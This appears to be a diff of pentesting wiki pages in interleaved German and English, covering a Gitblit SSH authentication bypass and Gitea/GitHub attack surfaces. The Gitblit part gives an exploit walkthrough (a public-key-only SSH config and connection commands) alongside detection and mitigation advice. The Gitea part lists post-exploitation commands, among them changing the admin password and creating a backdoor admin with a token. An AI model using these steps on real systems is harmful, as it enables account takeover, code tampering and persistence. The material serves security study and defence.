- Das Opferkonto hat mindestens einen SSH public key in Gitblit registriert
- Angreifer kennt den Benutzernamen des Opfers und einen seiner public keys (oft auffindbar, z.B. https://github.com/<username>.keys)
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
## Root cause (state leaks between SSH methods)
In RFC 4252 verläuft die publickey authentication in zwei Phasen: Der Server prüft zuerst, ob ein bereitgestellter public key für einen Benutzernamen akzeptabel ist, und erst nach einem Challenge/Response mit einer Signatur authentifiziert er den Benutzer. In MINA SSHD wird der PublickeyAuthenticator zweimal aufgerufen: beim KeyAcceptance (noch keine Signatur) und später, nachdem der Client eine Signatur zurücksendet.
In RFC 4252, publickey authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
Der PublickeyAuthenticator von Gitblit veränderte den Sitzungskontext beim ersten, presignature Aufruf, indem er das authentifizierte UserModel an die Session bindete und true zurückgab ("key acceptable"). Wenn die Authentifizierung später auf Passwort zurückfiel, vertraute der PasswordAuthenticator dem veränderten SessionZustand und machte einen ShortCircuit, indem er true zurückgab, ohne das Passwort zu validieren. Infolgedessen wurde nach einer vorherigen publickey "acceptance" für denselben Benutzer jedes Passwort (einschließlich leerer) akzeptiert.
Gitblits PublickeyAuthenticator mutated the session context on the first, presignature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and shortcircuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior publickey "acceptance" for the same user.
Fehlerhafter Ablauf (auf hoher Ebene):
Highlevel flawed flow:
1) Client bietet username + public key an (noch keine Signatur)
2) Server erkennt den Key als zum Benutzer gehörig, bindet vorzeitig den Benutzer an die Session und gibt true zurück ("acceptable")
3) Client kann nicht signieren (kein private key), daher fällt die Auth auf Passwort zurück
4) Password auth sieht bereits einen Benutzer in der Session und gibt bedingungslos Erfolg zurück
1) Client offers username + public key (no signature yet)
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
## Stepbystep exploitation
- Sammle den Benutzernamen des Opfers und einen seiner public keys:
- GitHub stellt public keys unter https://github.com/<username>.keys bereit
- Öffentliche Server geben oft authorized_keys preis
- Konfiguriere OpenSSH so, dass nur die publicHälfte präsentiert wird, sodass die Signaturerzeugung fehlschlägt und ein Fallback auf Passwort erzwungen wird, während gleichzeitig der publickey acceptancePfad auf dem Server ausgelöst wird.
- Collect a victims username and one of their public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the publickey acceptance path on the server.
Example SSH client config (no private key available):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Verbinden und drücken Sie Enter bei der Passwortabfrage (oder geben Sie eine beliebige Zeichenfolge ein):
Connect and press Enter at the password prompt (or type any string):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Die Authentifizierung gelingt, weil die vorherige publickeyPhase den SessionZustand in einen authentifizierten Benutzer verändert hat, und password auth diesem Zustand fälschlicherweise vertraut.
Hinweis: Wenn ControlMasterMultiplexing in Ihrer SSHKonfiguration aktiviert ist, können nachfolgende GitBefehle die bereits authentifizierte Verbindung wiederverwenden, was die Auswirkungen erhöht.
Authentication succeeds because the earlier publickey phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
## Impact
- Vollständige Identitätsübernahme jedes GitblitBenutzers mit mindestens einem registrierten SSH publickey
- Lese-/Schreibzugriff auf Repositories entsprechend den Berechtigungen des Opfers (SourceExfiltration, unautorisierte Pushes, SupplyChainRisiken)
- Potenzielle administrative Auswirkungen bei Zielvorgabe eines AdminBenutzers
- Reiner NetzwerkExploit; kein BruteForce oder private key erforderlich
- Full impersonation of any Gitblit user with at least one registered SSH public key
- Read/write access to repositories per victims permissions (source exfiltration, unauthorized pushes, supplychain risks)
- Potential administrative impact if targeting an admin user
- Pure network exploit; no brute force or private key required
## Detection ideas
- Überprüfen Sie SSHLogs auf Sequenzen, in denen ein publickeyVersuch von einer erfolgreichen passwordAuthentifizierung mit leerem oder sehr kurzem Passwort gefolgt wird
- Suchen Sie nach Abläufen: publickeyMethode bietet nicht unterstütztes/inkompatibles KeyMaterial an, gefolgt von sofortigem passwordErfolg für denselben Benutzernamen
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
## Mitigations
- Upgrade auf Gitblit v1.10.0+
- Bis zum Upgrade:
- Git over SSH auf Gitblit deaktivieren, oder
- Netzwerkzugriff auf den SSHDienst einschränken, und
- Auf die oben beschriebenen verdächtigen Muster überwachen
- Betroffene Benutzeranmeldeinformationen rotieren, falls ein Kompromiss vermutet wird
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
Pattern: Wenn der publickeyAuthenticator eines Servers Benutzer-/SessionZustand während der presignature "key acceptable"Phase verändert und andere Authenticators (z. B. password) diesem Zustand vertrauen, kann man die Authentifizierung umgehen, indem man:
Pattern: If a servers publickey authenticator mutates user/session state during the presignature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
- Einen legitimen public key für den Zielbenutzer präsentiert (kein private key)
- Den Client dazu bringt, beim Signieren zu scheitern, sodass der Server auf password zurückfällt
- Beliebiges Passwort angibt, während der passwordAuthenticator aufgrund des geleakten Zustands kurzschließt
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator shortcircuits on leaked state
Praktische Tipps:
Practical tips:
- Public key harvesting at scale: public keys aus üblichen Quellen abrufen, z. B. https://github.com/<username>.keys, organisatorische Verzeichnisse, TeamSeiten, leaked authorized_keys
- Forcing signature failure (clientside): IdentityFile nur auf die .pub zeigen lassen, IdentitiesOnly yes setzen, PreferredAuthentications so belassen, dass publickey zuerst und dann password versucht wird
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) darf Benutzer-/SessionZustand nicht anhängen, bevor der postsignatureVerifizierungsPfad die Signatur bestätigt
- PasswordAuthenticator.authenticate(...) darf keinen Erfolg aus einem während einer vorherigen, unvollständigen Authentifizierungsmethode veränderten Zustand ableiten
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)

View File

@@ -1,130 +1,141 @@
# Gitea-Sicherheit
# Gitea Security
{{#include ../../banners/hacktricks-training.md}}
## Was ist Gitea
## What is Gitea
**Gitea** ist eine **selbstgehostete, von der Community verwaltete, leichte Code-Hosting**-Lösung, die in Go geschrieben ist.
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
![](<../../images/image (160).png>)
### Grundlegende Informationen
### Basic Information
{{#ref}}
basic-gitea-information.md
{{#endref}}
## Labor
## Lab
To run a Gitea instance locally you can just run a docker container:
Um eine Gitea-Instanz lokal auszuführen, können Sie einfach einen Docker-Container starten:
```bash
docker run -p 3000:3000 gitea/gitea
```
Verbinden Sie sich mit Port 3000, um auf die Webseite zuzugreifen.
Sie können es auch mit Kubernetes ausführen:
Connect to port 3000 to access the web page.
You could also run it with kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
## Unauthentifizierte Enumeration
- Öffentliche Repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registrierte Benutzer: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registrierte Organisationen: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
## Unauthenticated Enumeration
Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies gibt den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**.
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
## Interne Ausnutzung
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein GitHub-Konto erhalten haben.
## Internal Exploitation
### Mit Benutzeranmeldeinformationen/Web-Cookie
For this scenario we are going to suppose that you have obtained some access to a github account.
Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben (oder Sie einen Sitzungscookie gestohlen haben), können Sie **einfach einloggen** und überprüfen, über welche **Berechtigungen Sie verfügen** für welche **Repos,** in **welchen Teams** Sie sind, **andere Benutzer auflisten** und **wie die Repos geschützt sind.**
### With User Credentials/Web Cookie
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Beachten Sie, dass wenn Sie **es schaffen, das `i_like_gitea`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
### Mit Benutzer-SSH-Schlüssel
### With User SSH Key
Gitea erlaubt **Benutzern**, **SSH-Schlüssel** festzulegen, die als **Authentifizierungsmethode zum Bereitstellen von Code** in ihrem Namen verwendet werden (es wird keine 2FA angewendet).
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in denen der Benutzer einige Berechtigungen hat**, jedoch können Sie ihn nicht verwenden, um auf die Gitea-API zuzugreifen, um die Umgebung zu enumerieren. Sie können jedoch **lokale Einstellungen enumerieren**, um Informationen über die Repos und Benutzer zu erhalten, auf die Sie Zugriff haben:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\<gitea_username>.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
#### GPG-Schlüssel
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
Wie [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) erklärt, ist es manchmal notwendig, die Commits zu signieren, oder Sie könnten entdeckt werden.
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Überprüfen Sie lokal, ob der aktuelle Benutzer einen Schlüssel hat mit:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Mit Benutzer-Token
Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens).
### With User Token
Ein Benutzer-Token kann **anstatt eines Passworts** verwendet werden, um sich **gegenüber dem Gitea-Server** [**über die API**](https://try.gitea.io/api/swagger#/) zu **authentifizieren**. Es hat **vollständigen Zugriff** auf den Benutzer.
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
### Mit Oauth-Anwendung
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
Für eine Einführung über [**Gitea Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](./#with-oauth-application).
### With Oauth Application
Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
Wie in den grundlegenden Informationen erklärt, hat die Anwendung **vollen Zugriff auf das Benutzerkonto**.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
### Umgehung des Branch-Schutzes
As explained in the basic information, the application will have **full access over the user account**.
In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repository erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann:
### Branch Protection Bypass
- **Push aktivieren**: Wenn jemand mit Schreibzugriff auf den Branch pushen kann, pushen Sie einfach darauf.
- **Whitelist für eingeschränkten Push**: Auf die gleiche Weise, wenn Sie Teil dieser Liste sind, pushen Sie auf den Branch.
- **Merge-Whitelist aktivieren**: Wenn es eine Merge-Whitelist gibt, müssen Sie darin sein.
- **Genehmigungen sind größer als 0 erforderlich**: Dann... müssen Sie einen anderen Benutzer kompromittieren.
- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der auf dieser Liste steht.
- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen mit neuen Commits nicht entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen.
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, können Sie die Schutzmaßnahmen umgehen.
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
- **Require approvals is bigger than 0**: Then... you need to compromise another user
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
### Webhooks auflisten
Note that **if you are an org/repo admin** you can bypass the protections.
**Webhooks** sind in der Lage, **spezifische Gitea-Informationen an bestimmte Orte zu senden**. Sie könnten in der Lage sein, **diese Kommunikation auszunutzen**.\
Allerdings wird normalerweise ein **Geheimnis**, das Sie **nicht abrufen können**, im **Webhook** festgelegt, das **verhindert**, dass externe Benutzer, die die URL des Webhooks, aber nicht das Geheimnis kennen, **diesen Webhook ausnutzen**.\
In einigen Fällen setzen Menschen jedoch anstelle des **Geheimnisses** an seinem Platz, **es in der URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten.
### Enumerate Webhooks
Webhooks können auf **Repo- und Org-Ebene** festgelegt werden.
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
## Post-Exploitation
Webhooks can be set at **repo and at org level**.
### Auf dem Server
## Post Exploitation
Wenn Sie es irgendwie geschafft haben, auf den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`.
### Inside the server
In dieser Datei finden Sie **Schlüssel** und **Passwörter**.
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
Im Gitea-Pfad (standardmäßig: /data/gitea) finden Sie auch interessante Informationen wie:
In this file you can find **keys** and **passwords**.
- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine SQLite-DB verwenden.
- Die **Sitzungen** im Sitzungsordner: Durch Ausführen von `cat sessions/*/*/*` können Sie die Benutzernamen der angemeldeten Benutzer sehen (Gitea könnte auch die Sitzungen in der DB speichern).
- Der **jwt private key** im jwt-Ordner.
- Weitere **sensible Informationen** könnten in diesem Ordner gefunden werden.
In the gitea path (by default: /data/gitea) you can find also interesting information like:
Wenn Sie sich auf dem Server befinden, können Sie auch die **`gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern:
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
- The **jwt private key** inside the jwt folder
- More **sensitive information** could be found in this folder
- `gitea dump` wird Gitea dumpen und eine .zip-Datei generieren.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generiert ein Token des angegebenen Typs (Persistenz).
- `gitea admin user change-password --username admin --password newpassword` ändert das Passwort.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken.
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
- `gitea dump` will dump gitea and generate a .zip file
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
- `gitea admin user change-password --username admin --password newpassword` Change the password
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,103 +1,106 @@
# Grundlegende Gitea-Informationen
# Basic Gitea Information
{{#include ../../banners/hacktricks-training.md}}
## Grundstruktur
## Basic Structure
Die grundlegende Gitea-Umgebungsstruktur besteht darin, Repos nach **Organisation(en)** zu gruppieren, von denen jede **mehrere Repositories** und **mehrere Teams** enthalten kann. Beachten Sie jedoch, dass Benutzer wie bei GitHub Repos außerhalb der Organisation haben können.
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
Darüber hinaus kann ein **Benutzer** ein **Mitglied** von **verschiedenen Organisationen** sein. Innerhalb der Organisation kann der Benutzer **verschiedene Berechtigungen für jedes Repository** haben.
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
Ein Benutzer kann auch **Teil verschiedener Teams** mit unterschiedlichen Berechtigungen für verschiedene Repos sein.
A user may also be **part of different teams** with different permissions over different repos.
Und schließlich **können Repositories spezielle Schutzmechanismen haben**.
And finally **repositories may have special protection mechanisms**.
## Berechtigungen
## Permissions
### Organisationen
### Organizations
Wenn eine **Organisation erstellt wird**, wird ein Team namens **Owners** **erstellt** und der Benutzer wird darin platziert. Dieses Team gewährt **Admin-Zugriff** auf die **Organisation**, diese **Berechtigungen** und der **Name** des Teams **können nicht geändert werden**.
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
**Org-Admins** (Eigentümer) können die **Sichtbarkeit** der Organisation auswählen:
**Org admins** (owners) can select the **visibility** of the organization:
- Öffentlich
- Eingeschränkt (nur angemeldete Benutzer)
- Privat (nur Mitglieder)
- Public
- Limited (logged in users only)
- Private (members only)
**Org-Admins** können auch angeben, ob die **Repo-Admins** **Zugriff für Teams hinzufügen oder entfernen** können. Sie können auch die maximale Anzahl von Repos angeben.
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
Beim Erstellen eines neuen Teams werden mehrere wichtige Einstellungen ausgewählt:
When creating a new team, several important settings are selected:
- Es wird angegeben, auf welche **Repos der Org die Mitglieder des Teams zugreifen können**: spezifische Repos (Repos, in die das Team hinzugefügt wird) oder alle.
- Es wird auch angegeben, **ob Mitglieder neue Repos erstellen können** (der Ersteller erhält Admin-Zugriff darauf).
- Die **Berechtigungen**, die die **Mitglieder** des Repos **haben**:
- **Administrator**-Zugriff
- **Spezifischer** Zugriff:
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
- It's also indicated **if members can create new repos** (creator will get admin access to it)
- The **permissions** the **members** of the repo will **have**:
- **Administrator** access
- **Specific** access:
![](<../../images/image (118).png>)
### Teams & Benutzer
### Teams & Users
In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die Rollen verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**:
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
- Administrator
- Schreiben
- Lesen
- Write
- Read
## Gitea-Authentifizierung
## Gitea Authentication
### Webzugang
### Web Access
Verwendung von **Benutzername + Passwort** und möglicherweise (und empfohlen) einer 2FA.
Using **username + password** and potentially (and recommended) a 2FA.
### **SSH-Schlüssel**
### **SSH Keys**
Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, in Ihrem Namen Aktionen auszuführen.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG-Schlüssel**
#### **GPG Keys**
Sie **können den Benutzer mit diesen Schlüsseln nicht impersonifizieren**, aber wenn Sie ihn nicht verwenden, könnte es möglich sein, dass Sie **entdeckt werden, weil Sie Commits ohne Signatur senden**.
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
### **Persönliche Zugriffstoken**
### **Personal Access Tokens**
Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff auf Ihr Konto zu gewähren**. Ein persönliches Zugriffstoken gewährt vollen Zugriff auf Ihr Konto: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth-Anwendungen
### Oauth Applications
Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden:
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
![](<../../images/image (194).png>)
### Deploy-Schlüssel
### Deploy keys
Deploy-Schlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren.
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
## Branch-Schutz
## Branch Protections
Branch-Schutzmaßnahmen sind darauf ausgelegt, **Benutzern nicht die vollständige Kontrolle über ein Repository zu geben**. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**.
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden:
Different protections can be applied to a branch (like to master):
- **Push deaktivieren**: Niemand kann in diesen Branch pushen.
- **Push aktivieren**: Jeder mit Zugriff kann pushen, aber nicht force pushen.
- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein force push).
- **Whitelist für Merge aktivieren**: Nur aufgelistete Benutzer/Teams können PRs mergen.
- **Statusprüfungen aktivieren:** Erfordert, dass Statusprüfungen bestanden werden, bevor gemerged wird.
- **Genehmigungen erforderlich**: Gibt die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann.
- **Genehmigungen auf Whitelist beschränken**: Gibt Benutzer/Teams an, die PRs genehmigen können.
- **Merge bei abgelehnten Überprüfungen blockieren**: Wenn Änderungen angefordert werden, kann es nicht gemerged werden (auch wenn die anderen Prüfungen bestehen).
- **Merge bei offiziellen Überprüfungsanfragen blockieren**: Wenn es offizielle Überprüfungsanfragen gibt, kann es nicht gemerged werden.
- **Veraltete Genehmigungen zurückweisen**: Bei neuen Commits werden alte Genehmigungen zurückgewiesen.
- **Signierte Commits erforderlich**: Commits müssen signiert sein.
- **Merge blockieren, wenn der Pull-Request veraltet ist.**
- **Geschützte/ungeschützte Dateimuster**: Gibt Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen.
- **Disable Push**: No-one can push to this branch
- **Enable Push**: Anyone with access can push, but not force push.
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
- **Enable Status checks:** Require status checks to pass before merging.
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
- **Block merge on official review requests**: If there official review requests it cannot be merged
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
- **Require Signed Commits**: Commits must be signed.
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
> [!NOTE]
> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren.**
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,237 +1,250 @@
# Github-Sicherheit
# Github Security
{{#include ../../banners/hacktricks-training.md}}
## Was ist Github
## What is Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Auf einer hohen Ebene ist **GitHub eine Website und ein cloudbasierter Dienst, der Entwicklern hilft, ihren Code zu speichern und zu verwalten sowie Änderungen an ihrem Code zu verfolgen und zu kontrollieren**.
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
### Grundlegende Informationen
### Basic Information
{{#ref}}
basic-github-information.md
{{#endref}}
## Externe Rekognoszierung
## External Recon
Github-Repositories können als öffentlich, privat und intern konfiguriert werden.
Github repositories can be configured as public, private and internal.
- **Privat** bedeutet, dass **nur** Personen der **Organisation** darauf zugreifen können.
- **Intern** bedeutet, dass **nur** Personen des **Unternehmens** (ein Unternehmen kann mehrere Organisationen haben) darauf zugreifen können.
- **Öffentlich** bedeutet, dass **alle im Internet** darauf zugreifen können.
- **Private** means that **only** people of the **organisation** will be able to access them
